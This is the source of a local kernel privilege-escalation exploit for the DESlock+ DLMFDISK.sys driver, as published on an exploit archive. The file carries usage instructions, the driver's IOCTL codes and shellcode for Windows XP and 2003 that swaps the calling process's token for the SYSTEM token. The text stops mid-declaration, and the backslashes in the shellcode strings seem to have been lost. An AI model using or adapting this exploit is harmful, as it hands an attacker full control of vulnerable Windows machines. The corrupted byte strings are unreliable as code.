DESlock+ <= 3.2.6 DLMFDISK.sys local kernel ring0 SYSTEM Exploit

/* deslock-pown-v2.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * DESlock+ <= 3.2.6 local kernel ring0 SYSTEM exploit * by mu-b - Wed 26 Dec 2007 * * - Tested on: DLMFDISK.sys 1.2.0.27 * - Microsoft Windows 2003 SP2 * - Microsoft Windows XP SP2 * * Note: create a mountable filesystem (size/password is irrelevant), * name the pseudo-filesystem "XXXAAAA.mnt" and copy to "?:", * finally mount the pseudo-filesystem and ./deslock-pown-v2 for SYSTEM. * * Compile: MinGW + -lntdll * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <ddk/ntapi.h> #define DLKFDISK_IOCTL 0x80002024 #define DLKFDISK_R_IOCTL 0x80002010 #define DLKFDISK_SLOT 0x00000C5A #define DLKFDISK_OFFSET 0x0D #define DLKFDISK_DISK_MAX 0x1A static unsigned char win32_fixup[] = "x53" "xebx0e" /* _fixup_copy */ "x5e" "xbfx5cx0cx00x00" "x31xc9" "xb1x05" "xf3xa5" "xebx19" /* _fixup_blk */ "xe8xedxffxffxff" "x64x0ax00x00" "xd3x0ax00x00" "x2ax0ax00x00" "x49x0ax00x00" "x68x0bx00x00"; /* Win2k3 SP1/2 - kernel EPROCESS token switcher * by mu-b <mu-b@digit-lab.org> */ static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "xb8x24xf1xdfxff" "x8bx00" "x8bxb0x18x02x00x00" "x89xf0" /* _sys_eprocess_loop */ "x8bx98x94x00x00x00" "x81xfbx04x00x00x00" "x74x11" "x8bx80x9cx00x00x00" "x2dx98x00x00x00" "x39xf0" "x75xe3" "xebx21" /* _sys_eprocess_found */ "x89xc1" "x89xf0" /* _cmd_eprocess_loop */ "x8bx98x94x00x00x00" "x81xfbx00x00x00x00" "x74x10" "x8bx80x9cx00x00x00" "x2dx98x00x00x00" "x39xf0" "x75xe3" /* _not_found */ "xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "x8bx89xd8x00x00x00" "x89x88xd8x00x00x00" "x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "xb8x24xf1xdfxff" "x8bx00" "x8bx70x44" "x89xf0" /* _sys_eprocess_loop */ "x8bx98x84x00x00x00" "x81xfbx04x00x00x00" "x74x11" "x8bx80x8cx00x00x00" "x2dx88x00x00x00" "x39xf0" "x75xe3" "xebx21" /* _sys_eprocess_found */ "x89xc1" "x89xf0" /* _cmd_eprocess_loop */ "x8bx98x84x00x00x00" "x81xfbx00x00x00x00" "x74x10" "x8bx80x8cx00x00x00" "x2dx88x00x00x00" "x39xf0" "x75xe3" /* _not_found */ "xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "x8bx89xc8x00x00x00" "x89x88xc8x00x00x00" "x90"; static unsigned char win32_ret[] = "x5b" "x31xff" "xb8xdcx0bx00x00" "xffxe0" "xcc"; struct ioctl_req { void *arg&